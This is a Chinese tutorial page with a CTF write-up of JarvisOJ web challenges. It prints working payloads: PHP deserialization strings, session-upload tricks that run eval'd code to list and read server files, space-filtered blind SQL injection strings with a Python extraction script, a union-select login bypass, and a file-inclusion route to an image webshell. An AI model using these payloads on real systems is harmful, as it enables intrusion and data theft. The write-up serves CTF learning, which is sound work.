一聚教程网:一个值得你收藏的教程网站

最新下载

热门教程

JarvisOJ平台Web题目简单部分writeup教程

时间:2016-11-15 编辑:简简单单 来源:一聚教程网

访问页面之后,页面显示:

Please use port 51 to visit this site.

当时看到了这个还以为是需要访问这个网站的51端口,但是这个网址已经确定了是访问32770端口,后来一直都没有思路。最后才发现是要求本地以51端口去访问这个网址。payload如下:

curl --local-port 51 http://web.jarvisoj.com:32770/
最后就可以拿到Flag。

api调用

题目链接: http://web.jarvisoj.com:9882/

题目提示:

请设法获得目标机器/home/ctf/flag.txt中的flag值。

访问连接之后,查看网页源代码。

function send(){
 evil_input = document.getElementById("evil-input").value;
 var xhr = XHR();
     xhr.open("post","/api/v1.0/try",true);
     xhr.onreadystatechange = function () {
         if (xhr.readyState==4 && xhr.status==201) {
             data = JSON.parse(xhr.responseText);
             tip_area = document.getElementById("tip-area");
             tip_area.value = data.task.search+data.task.value;
         }
     };
     xhr.setRequestHeader("Content-Type","application/json");
     xhr.send('{"search":"'+evil_input+'","value":"own"}');
}
发现这个页面仅仅是向后台发送请求,与前台的输入并没有什么关系。

后台返回的数据显示是:

HTTP/1.0 201 CREATED
Content-Type: application/json
Content-Length: 86
Server: Werkzeug/0.9.4 Python/2.7.6
Date: Wed, 12 Oct 2016 05:34:05 GMT
仅仅知道后台是使用Python写的。除此之外,并没有多余的信息。

最后才知道这是一个所谓的XXE漏洞,xxe的漏洞的相关概念可以参考 php框架slim架构上存在XXE漏洞 这篇文章,原理写得十分详细。

知道是XXE漏洞之后,最后的payload如下:


这个漏洞也是第一次听说,有空学习了之后再写一篇详细的文章进行说明吧

如何使用Python实现一个XXE的漏洞 xml实体注入xxe

关于XXE的危害可以参考文章 未知攻焉知防——XXE漏洞攻防

Login

题目链接: http://web.jarvisoj.com:32772/

题目提示:

需要密码才能获得flag哦。

登陆页面查看,发现页面仅仅只有一个需要输入密码的输入框,没有其他的提示,随便输入密码之后显示 Wrong Password. ,看到这种情况以为是一个SQL注入,但是通过输入非法的字符,发现好像并没有进行过滤,一直显示 Wrong Password. 最后通过查看Response包发现一条提示:

Hint: "select * from `admin` where password='".md5($pass,true)."'"
知道md5($pass,true)是重点,找到了 这篇文章 。输入字符串 ffifdyop 就可以得到最终的密码。

神盾局的秘密

题目链接: http://web.jarvisoj.com:32768/

题目提示:

这里有个通向神盾局内部网络的秘密入口,你能通过漏洞发现神盾局的秘密吗?

访问链接之后,得到就是一张图片,通过burp抓包,发现在中途访问了网址 http://web.jarvisoj.com:32768/showimg.php?img=c2hpZWxkLnBocA== ,看链接是一个文件读取,文件名是使用base64加密了。

读取showimg.php的内容:

 $f = $_GET['img'];
 if (!empty($f)) {
  $f = base64_decode($f);
  if (stripos($f,'..')===FALSE && stripos($f,'/')===FALSE && stripos($f,'\\')===FALSE
  && stripos($f,'pctf')===FALSE) {
   readfile($f);
  } else {
   echo "File not found!";
  }
 }
?>
普通的内容,没有与Flag相关的信息。

尝试读取index.php的信息:

 require_once('shield.php');
 $x = new Shield();
 isset($_GET['class']) && $g = $_GET['class'];
 if (!empty($g)) {
  $x = unserialize($g);
 }
 echo $x->readfile();
?>
index.php也没有出现与Flag相关的信息,但是index.php读取的class参数的值,并且没有对参数进行过滤。

读取shield.php信息:

 //flag is in pctf.php
 class Shield {
  public $file;
  function __construct($filename = '') {
   $this -> file = $filename;
  }
  
  function readfile() {
   if (!empty($this->file) && stripos($this->file,'..')===FALSE 
   && stripos($this->file,'/')===FALSE && stripos($this->file,'\\')==FALSE) {
    return @file_get_contents($this->file);
   }
  }
 }
?>
说明了Flag在pctf.php中,结合index.php的源代码。得到最后的Flag信息。但是我们需要一个Shield类的实例$X,实例$x中的file属性为pctf.php。但是目前的代码无法做到这一点。但是想了很久都没有想到,最后请教了 40huo 。最后知道需要本地搭建环境,对示例进行序列话。

index.php
    require_once('shield.php');
    $x = new Shield();
    echo serialize($x);
?>
shield.php

    //flag is in pctf.php
    class Shield {
        public $file;
        function __construct($filename = 'pctf.php') {
            $this -> file = $filename;
        }
        function readfile() {
            if (!empty($this->file) && stripos($this->file,'..')===FALSE 
            && stripos($this->file,'/')===FALSE && stripos($this->file,'\\')==FALSE) {
                return @file_get_contents($this->file);
            }
        }
    }
?>
最关键的代码就是,在进行初始化的时候,将$filename赋值为pctf.php

function __construct($filename = 'pctf.php') {
 $this -> file = $filename;
}
最后得到的序列话的值是:

O:6:"Shield":1:{s:4:"file";s:8:"pctf.php";}
最后访问URL: http://web.jarvisoj.com:32768/index.php?class=O:6:%22Shield%22:1:{s:4:%22file%22;s:8:%22pctf.php%22;}
页面返回:

 //Ture Flag : PCTF{W3lcome_To_Shi3ld_secret_Ar3a}
 //Fake flag:
 echo "FLAG: PCTF{I_4m_not_fl4g}"
?>
PHPINFO

题目地址: http://web.jarvisoj.com:32784/

访问网址,页面显示:

//A webshell is wait for you
ini_set('session.serialize_handler', 'php');
session_start();
class OowoO
{
    public $mdzz;
    function __construct()
    {
        $this->mdzz = 'phpinfo();';
    }
   
    function __destruct()
    {
        eval($this->mdzz);
    }
}
if(isset($_GET['phpinfo']))
{
    $m = new OowoO();
}
else
{
    highlight_string(file_get_contents('index.php'));
}
?>
看到PHP代码中的 ini_set('session.serialize_handler', 'php') 就会知道这道题目与PHP中的Session序列话的问题有关,关于PHP中的Session的问题,可以参考我的这篇文章。这里就对Session序列化不做说明。

这个漏洞如果要触发,则需要在服务器中写入一个使用php_serialize序列话的值,然后访问index.php时就会被php的引擎反序列化。但是本题没有提供写入session的方法,但是可以通过 Session Upload Progress 来向服务器设置session。具体为,在上传文件时,如果POST一个名为PHP_SESSION_UPLOAD_PROGRESS的变量,就可以将filename的值赋值到session中,上传的页面的写法如下:


   
   
   

最后在Session就会保存上传的文件名。

下面就对PHP_SESSION_UPLOAD_PROGRESS来写入的方式进行测试。

在本地中,需要对$mdzz进行赋值,然后通过析构函数中的eval()去执行$mdzz中的方法。

在本地创建myindex.php

ini_set('session.serialize_handler', 'php_serialize');
session_start();
class OowoO
{
    public $mdzz='需要设置方法';
    function __construct()
    {
        // $this->mdzz = 'phpinfo();';
    }
   
    function __destruct()
    {
        // echo $this->mdzz;
    }
}
$obj = new OowoO();
echo serialize($obj);
首先设置 $mdzz='echo "spoock";' ,最后序列话得到的结果是: O:5:"OowoO":1:{s:4:"mdzz";s:14:"echo "spoock";";} 。那么文件名就需要设置为 |O:5:"OowoO":1:{s:4:"mdzz";s:14:"echo "spoock";";} ,由于要对其中的双引号进行转义,最后实际的文件名为 |O:5:\"OowoO\":1:{s:4:\"mdzz\";s:14:\"echo \"spoock\";\";} 。最后的测试结果为:


可以看到最后的结果输出了 spoock ,说明上述的测试是成功的。

接下来就需要获取flag了。

获取项目路径:

通过dirname获取文件路径

设置 $mdzz='print_r(dirname(__FILE__));'
序列化得到的结果是 O:5:"OowoO":1:{s:4:"mdzz";s:27:"print_r(dirname(__FILE__));";}
文件名设置为 |O:5:\"OowoO\":1:{s:4:\"mdzz\";s:27:\"print_r(dirname(__FILE__));\";}
显示结果如下:


得到项目路径是在 opt/lampp/htdocs

获取文件列表

通过scandir获取文件列表

设置$mdzz= 'print_r(scandir("/opt/lampp/htdocs"));'
序列化的结果是 O:5:"OowoO":1:{s:4:"mdzz";s:38:"print_r(scandir("/opt/lampp/htdocs"));";}
文件名设置为 |O:5:\"OowoO\":1:{s:4:\"mdzz\";s:38:\"print_r(scandir(\"/opt/lampp/htdocs\"));\";}
显示的结果是:


发现存在 Here_1s_7he_fl4g_buT_You_Cannot_see.php 。

读取文件内容:

通过file_get_contents读取文件内容

设置 $mdzz='O:5:"OowoO":1:{s:4:"mdzz";s:87:"print_r(file_get_contents("/opt/lampp/htdocs/Here_1s_7he_fl4g_buT_You_Cannot_see.php"))";}'
序列话结果 O:5:"OowoO":1:{s:4:"mdzz";s:88:"print_r(file_get_contents("/opt/lampp/htdocs/Here_1s_7he_fl4g_buT_You_Cannot_see.php"));";}
文件名设置为 |O:5:\"OowoO\":1:{s:4:\"mdzz\";s:88:\"print_r(file_get_contents(\"/opt/lampp/htdocs/Here_1s_7he_fl4g_buT_You_Cannot_see.php\"));\";} 。

显示结果为:


最后就得到flag了。

simple injection

很简单的注入,大家试试?

题目入口: http://web.jarvisoj.com:32787/

还是比较喜欢做sqli的题目的。

访问页面之后,得到就是一个登陆页面。通过burp进行抓包,发现在响应头或者是页面中含有提示信息,那么就说明这的确是一个普通的登陆型的SQL注入漏洞了。

常见的登陆漏洞类型

同时验证用户名和密码

$sql = select * from users where username=$usernmae and password=$password
$result = mysql_query($sql);
if($result) {
 echo "登陆成功";
} else {
 echo "登陆失败";
}
分步验证用户名、密码

$sql = "select password from users where username='$username'"
$result = mysql_query($sql);
if($result) {
    $row = mysql_fetch_row($result);
    $query_password = $row[$password];
    #对输入的$password进行变形
    $input_password = modify($passowrd);
    if($input_password == $query_password) {
        echo "登陆成功";
    } else {
        echo "密码错误";
    }

} else {
    echo "用户不存在";
}
本题

尝试使用 username=admin&password=123456 ,页面返回 密码错误
尝试使用 username=user&password=123456 ,页面返回 用户名错误
那么就说明验证方式是采用的用户名和密码分步验证的。

想法验证

使用 username=admin'#&password=123456 ,页面返回 密码错误 ,说明后台没有对 # 和 ' 进行过滤。
使用 username=admin' or 1=1#&password=123456 ,页面返回 用户名错误 ,上面后台对 admin' or 1=1# 中的部分内容进行了过滤。过滤的内容有可能是 or 也有可能是空格。
使用 username=user'/**/or/**/1=1#&password=123456 ,页面返回 密码错误 ,说明输入的SQL语句能够被执行,这也表明后台仅仅是过滤了空格。
总结,username存在sql注入,同时仅仅只是过滤了空格,那么就是一个盲注了
PoC

整个PoC就是一个基于错误的盲注的步骤了,具体的方法可以参考文章。

查找表 , username=user'/**/or/**/exists(select/**/*/**/from/**/admin)#&password=123456 ,页面返回 密码错误 ,那么就说明在数据库中存在 admin 表
查找字段 username=user'/**/or/**/exists(select/**/username,password/**/from/**/admin)#&password=123456 ,页面返回 密码错误 ,说明在 admin 表中存在 username 和 password 字段。
username=user'/**/or/**/exists(select/**/count(*)/**/from/**/admin)#&password=123456 ,页面返回 密码错误 ,说明在 admin 表中仅仅只存在一条记录,接下来就好办了
得到password长度 , username=user'/**/or/**/(select/**/length(password)/**/from/**/admin)>10#&password=123456 ,通过二分试探法,最终发现 password 的字段长度是32位,说明可能采用的是 md5 的方式来进行加密的。
在确定了password的长度之后,接下来就是利用Python来进行爆破了。

import requests

def get_data():
    result = ""
    url = 'http://web.jarvisoj.com:32787/login.php'
    payload = {
        "username":'xx',
        "password":1,
    }
    username_template = "'/**/or/**/ascii(substr((select/**/password/**/from/**/admin),{0},1))>{1}#"
    chars = '0123456789@ABCDEFGHIJKLMNOPQRSTUVWXYZ_abcdefghijklmnopqrstuvwxyz'
    for i  in range(1,33):
        for char in chars:
            char_ascii = ord(char)
            username = username_template.format(i,char_ascii)
            payload['username'] = username
            response = requests.post(url,data=payload)
            length = len(response.text)
            # print(length)
            #返回的长度只有1191和1192
            if length>1191:
                print(char)
                result += char
                break
    print(result)

get_data()
最后得到password的值为 334cfb59c9d74849801d5acdcfdaadc3 。

得到password的明文之后,输入就可以得到flag了。

PoC2

在确定了password的长度为32位,即为md5()的加密方式之后,就可以采用如下的PoC

username=user'/**/union/**/select/**/'c4ca4238a0b923820dcc509a6f75849b'#&password=1
这样就可以直接得到payload了。

Easy Gallery

“没有什么防护是一个漏洞解决不了的,如果有,那就…..”

题目入口: http://web.jarvisoj.com:32785/

看到题目,发现这是一道上传的题目,那么就需要利用到上传绕过了。


文件上传

上传的时候,发现后台不是通过文件后缀来进行判断的,还对文件的MIME进行了判断,那么就必须上传图片一句话木马了。

文件浏览

发现图片木马是可以上传的,最后就是浏览图片木马进行执行了,上传图片之后,图片浏览的整个流程如下:


图片上传之后,会获得上传之后的图片ID,然后在 view 输入图片ID和图片类型,就可以浏览图片,最后发现图片的访问的链接实际是 http://web.jarvisoj.com:32785/uploads/图片ID.jpg

连接木马

看到这里,我还以为就是一道不同的文件木马,直接使用中国菜刀连接即可,后来发现中国菜刀无法连接,说明后台对菜刀进行了绕过,尝试不使用菜刀来执行木马,发现还是没有用,说明 uploads/图片ID.jpg 是无法执行的。

文件包含

无法使用菜刀,则必须使用其他方法了。

在访问 submit 、 View 页面时,发现页面访问的链接是:

http://web.jarvisoj.com:32785/index.php?page=submit
http://web.jarvisoj.com:32785/index.php?page=view
此处有可能存在文件包含漏洞,尝试:

http://web.jarvisoj.com:32785/index.php?page=view'
页面报错

Warning: fopen(view'.php): failed to open stream: No such file or directory in /opt/lampp/htdocs/index.php on line 24
No such file!
说明确实存在文件访问漏洞

读取图片

在进行文件读取的时候,后台会在 page 参数后面加上文件后缀 .php ,所以需要使用 %00 来进行截断。

在使用文件包含漏洞尝试读取文件的时候,

http://web.jarvisoj.com:32785/index.php?page=uploads/图片ID.jpg%00
页面显示 You should not do this! 。

说明后台对后台中的 进行了过滤,那么就需要采用的新的绕过方式了,这个题目就和 百度CTF中的upload题目 有点类似了,考虑使用 的方式来执行php代码

PoC

最后php的代码写为:


将上述的php的代码制作成为图片一句话木马,然后利用文件包含漏洞来读取图片,

http://web.jarvisoj.com:32785/index.php?page=uploads/图片ID.jpg%00

热门栏目